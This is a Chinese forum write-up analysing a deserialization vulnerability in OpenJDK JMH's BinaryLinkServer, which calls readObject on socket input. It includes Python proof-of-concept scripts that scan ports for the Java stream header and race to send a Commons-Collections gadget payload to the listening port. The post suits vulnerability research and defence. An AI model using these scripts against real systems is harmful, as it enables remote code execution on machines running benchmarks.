问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
OpenJDK JMH反序列化漏洞挖掘分析
漏洞分析
JMH,即Java Microbenchmark Harness,是专门用于代码微基准测试的工具套件。主要是基于方法层面的基准测试,精度可以达到纳秒级。该组件存在一个未被别人公开过但目前来说实战意义不大的反序列化漏洞,仅可当作思路阅读
**一、漏洞简介** ========== [JMH](https://openjdk.org/projects/code-tools/jmh/),即Java Microbenchmark Harness,是专门用于代码微基准测试的工具套件。主要是基于方法层面的基准测试,精度可以达到纳秒级。该组件存在一个未被别人公开过但目前来说实战意义不大的反序列化漏洞,仅可当作思路阅读 **二、影响版本** ========== ALL **三、漏洞挖掘分析** ============ 首先看官方DEMO ```java public static void main(String[] args) throws RunnerException { Options opt = new OptionsBuilder() .include(WhatsupBro.class.getSimpleName()) .forks(1) .build(); new Runner(opt).run(); } } ``` 从DEMO查看好像平平无奇,跟进`run()`方法看看流程: 在`run`方法中,会先获取JMH的参数配置,当`JMH_LOCK_IGNORE`是`true`时就会进入下一个流程,不是也没关系,最终还是会走向同一个流程  跟进`internalRun()`: 前半部分是初始化,做基准测试的一些基本设置  前戏有很多,继续往后看,快进到`runBenchmarks(benchmarks)`: 做完所有设置后,就开始进入`runBenchmarks`方法开始执行流程 ```java Collection<RunResult> results = runBenchmarks(benchmarks); // If user requested the result file, write it out. if (resultFile != null) { ResultFormatFactory.getInstance( options.getResultFormat().orElse(Defaults.RESULT_FORMAT), resultFile ).writeOut(results); out.println(""); out.println("Benchmark result is saved to " + resultFile); } out.flush(); out.close(); return results; } ``` `runBenchmarks`方法:  在这个方法中,我们只需关注`case FORKED`这一部分的流程: ```java try { for (ActionPlan r : plan) { Multimap<BenchmarkParams, BenchmarkResult> res; switch (r.getType()) { case EMBEDDED: res = runBenchmarksEmbedded(r); break; case FORKED: res = runSeparate(r); break; default: throw new IllegalStateException("Unknown action plan type: " + r.getType()); } for (BenchmarkParams br : res.keys()) { results.putAll(br, res.get(br)); } } ``` 因为在`getActionPlans(benchmarks)`中,`ActionType.type`就被初始化为了`FORKED`: ```java if (params.getForks() <= 0) { if (options.getWarmupMode().orElse(Defaults.WARMUP_MODE).isIndi()) { embeddedPlan.add(newAction(br, ActionMode.WARMUP_MEASUREMENT)); } else { embeddedPlan.add(newAction(br, ActionMode.MEASUREMENT)); } addEmbedded = true; } //方法会走这里,因为前面的DEMO中我们的代码是.forks(1),大于0 if (params.getForks() > 0) { ActionPlan r = new ActionPlan(ActionType.FORKED); r.mixIn(base); if (options.getWarmupMode().orElse(Defaults.WARMUP_MODE).isIndi()) { r.add(newAction(br, ActionMode.WARMUP_MEASUREMENT)); } else { r.add(newAction(br, ActionMode.MEASUREMENT)); } result.add(r); } ``` 回到`case FORKED`流程,进入到`runSeparate`方法:  在`runSeparate`里,初始化了一个`BinaryLinkServer`对象  同样的,前面的内容没有意义,快进到 ```java acceptor = new Acceptor(); acceptor.start(); ``` 跟进`Acceptor()`  快进到`Handler`,查看怎么处理的连接: ```java private final class Handler extends Thread { private final InputStream is; private final Socket socket; private ObjectInputStream ois; private final OutputStream os; private ObjectOutputStream oos; public Handler(Socket socket) throws IOException { this.socket = socket; this.is = socket.getInputStream(); this.os = socket.getOutputStream(); // eager OOS initialization, let the other party read the stream header //记住这里,一会要考 oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE)); oos.flush(); } @Override public void run() { try { // late OIS initialization, otherwise we'll block reading the header ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE)); Object obj; //对socket数据流做反序列化 while ((obj = ois.readObject()) != null) { if (obj instanceof OutputFormatFrame) { handleOutputFormat((OutputFormatFrame) obj); } if (obj instanceof InfraFrame) { handleInfra((InfraFrame) obj); } if (obj instanceof HandshakeInitFrame) { handleHandshake((HandshakeInitFrame) obj); } if (obj instanceof ResultsFrame) { handleResults((ResultsFrame) obj); } if (obj instanceof ExceptionFrame) { handleException((ExceptionFrame) obj); } if (obj instanceof OutputFrame) { handleOutput((OutputFrame) obj); } if (obj instanceof ResultMetadataFrame) { handleResultMetadata((ResultMetadataFrame) obj); } if (obj instanceof FinishingFrame) { // close the streams break; } } } catch (EOFException e) { // ignore } catch (Exception e) { out.println("<binary link had failed, forked VM corrupted the stream? Use " + VerboseMode.EXTRA + " verbose to print exception>"); if (opts.verbosity().orElse(Defaults.VERBOSITY).equalsOrHigherThan(VerboseMode.EXTRA)) { out.println(Utils.throwableToString(e)); } } finally { close(); } } ``` 好了,现在已经看到了一个反序列化,接下来就是验证了。已知这是一个socket数据流反序列化,那么就要找到socket的监听端口,这样我们才能向端口发送序列化数据,回到`Acceptor()`: ```java public Acceptor() throws IOException { listenAddress = getListenAddress(); server = new ServerSocket(getListenPort(), 50, listenAddress); } ``` 查看getListenPort()方法: ```js private int getListenPort() { return Integer.getInteger("jmh.link.port", 0); } ``` 随机端口  **四、环境搭建** ========== [官方仓库](https://github.com/openjdk/jmh)下载解压,等待依赖下载完就行了,org/openjdk/jmh/samples都是DEMO,随便运行哪个都行 **五、漏洞验证** ========== 但是话又说回来,站在黑客的角度,其实是可以通过扫描端口来发现漏洞的,记得刚刚圈出来的考点: ```java public Handler(Socket socket) throws IOException { this.socket = socket; this.is = socket.getInputStream(); this.os = socket.getOutputStream(); // eager OOS initialization, let the other party read the stream header oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE)); oos.flush(); } ``` 项目启动的时候,它会封装一个包含有流标头的输出流方便客户端读取,也就是说,如果我们扫描全端口,会发现有一个端口出现这种情况:  POC: ```python import socket import threading import queue import binascii from concurrent.futures import ThreadPoolExecutor import sys TARGET_HOST = "127.0.0.1"#改成目标地址 PORT_RANGE = range(1, 65536) TIMEOUT = 1 MAX_THREADS = 100 STREAM_HEADER = b"\xAC\xED\x00\x05" result_queue = queue.Queue() def check_port(port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) sock.connect((TARGET_HOST, port)) data = sock.recv(1024) if data.startswith(STREAM_HEADER): hex_data = binascii.hexlify(data[:4]).decode().upper() result_queue.put((port, hex_data)) sock.close() except (socket.timeout, socket.error): pass def scan_ports(): print(f"开始扫描 {TARGET_HOST} 的端口...") with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: executor.map(check_port, PORT_RANGE) print("\n扫描完成,发现以下端口符合特征:") while not result_queue.empty(): port, hex_data = result_queue.get() print(f"端口: {port}, 数据: {hex_data}") if __name__ == "__main__": try: scan_ports() except KeyboardInterrupt: print("\n扫描中断") sys.exit(1) ``` 因为JMH本身没有常见的利用链,所以验证calc还得引用CC依赖,然后再弹 ```java <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> ```  POC: ```python #coding:utf-8 import socket s = socket.socket() host = "127.0.0.1" port = 9094 s.connect((host,port)) ssss = open("1234.ser",'rb') xc = ssss.read() s.send(xc) s.close() ``` 最后,JMH限制了只允许一个客户端连接: ```java //不允许第二个实例注册 if (!handler.compareAndSet(null, r)) { throw new IllegalStateException("The handler is already registered"); } ``` 因为我们是第二条连接,所以需要POC比项目还先运行来抢占通道  第一次产生连接是因为`fork(1)`,流程如下: 快进到`runSeparate`方法: 在初始化完`BinaryLinkServer`后,此时的socket处于等待连接的状态,往后走到`getForkedMainCommand`  `getForkedMainCommand`方法如下: ```java List<String> getForkedMainCommand(BenchmarkParams benchmark, List<ExternalProfiler> profilers, String host, int port) { // Poll profilers for options List<String> javaInvokeOptions = new ArrayList<>(); List<String> javaOptions = new ArrayList<>(); for (ExternalProfiler prof : profilers) { javaInvokeOptions.addAll(prof.addJVMInvokeOptions(benchmark)); javaOptions.addAll(prof.addJVMOptions(benchmark)); } List<String> command = new ArrayList<>(); // prefix java invoke options, if any profiler wants it command.addAll(javaInvokeOptions); // use supplied jvm, if given command.add(benchmark.getJvm()); // use supplied jvm args, if given command.addAll(benchmark.getJvmArgs()); // add profiler JVM commands, if any profiler wants it command.addAll(javaOptions); // add any compiler oracle hints CompilerHints.addCompilerHints(command); // assemble final process command addClasspath(command); command.add(ForkedMain.class.getName()); // Forked VM assumes the exact order of arguments: // 1) host name to back-connect // 2) host port to back-connect command.add(host); command.add(String.valueOf(port)); return command; } ``` 这个方法会获取JVN信息,将结果拼接成一个集合,最终返回的结果大概如下: ```bash command = [java, -Djmh.ignoreLock=false, -Djmh.link.port=9004,-cp,...,org.openjdk.jmh.runner.ForkedMain, 127.0.0.1, 9004] ``` 即此时 ```java List<String> forkedString = getForkedMainCommand(params, profilers, server.getHost(), server.getPort()); ``` 流程的结果是 ```bash [java, -Djmh.ignoreLock=false, -Djmh.link.port=9004,-cp,...,org.openjdk.jmh.runner.ForkedMain, 127.0.0.1, 9004] ``` 最后走到`doFork`方法  在这里使用`ProcessBuilder`执行传进的命令  `org.openjdk.jmh.runner.ForkedMain`来自`command.add(ForkedMain.class.getName());` 在`ForkedMain`中有一个`BinaryLinkClient`对象,这是一个客户端,负责接收处理`socket`信息,也就是`ProcessBuilder`执行之后,这个客户端去连接了目标端口,导致我们再发送payload的时候就已经是第二次 如果想玩一下,这个脚本更加方便: ```java import socket import time def connect_to_server(): max_attempts = 100000 #保持连接 attempts = 0 while attempts < max_attempts: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" #这一步可以改成全端口读取 port = 9004 try: client_socket.connect((host, port)) print(f"connect to {host}:{port}") return client_socket except socket.error as e: attempts += 1 print(f"error,reconnect ({attempts}/{max_attempts}): {e}") time.sleep(1) print(f"error {host}:{port},reached maximum number of attempts") return None #即使服务器关闭连接,也不会结束POC while True: client_socket = connect_to_server() if client_socket: try: with open("cc6calc.ser", "rb") as file: while True: data_to_send = file.read(1024) if not data_to_send: break client_socket.send(data_to_send) response_data = client_socket.recv(1024) print(f"response received from the server: {response_data.decode('utf-8', 'replace')}") finally: client_socket.close() ``` 持续监听端口,不用再一直重启脚本了,启动项目就弹启动项目就弹  **六、总结** ======== 其实JMH支持自定义端口,运行的时候加个参数就好了:`-Djmh.link.port=9004`,如果复现的时候发现有点问题,不妨再加上`-Djmh.ignoreLock=true` 总之,如果想要实际利用需要满足以下条件: - 目标WEB应用除了引用JMH组件之外还需要有利用依赖 - 工具需要比项目提前运行监听全端口 - 运气好扫端口的时候碰巧碰到基准测试运行,碰巧扫到那个端口,碰巧成功执行了payload  **正如前面所说,这是实战意义不大的反序列化漏洞,仅可当作思路学习阅读**。如果有其他更好更方便能转化为实战的利用,欢迎留言
发表于 2025-07-01 09:00:00
阅读 ( 394 )
分类:
代码审计
0 推荐
收藏
1 条评论
c铃儿响叮当
3天前
涨知识了
请先
登录
后评论
请先
登录
后评论
novy
天问实验室守门员
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!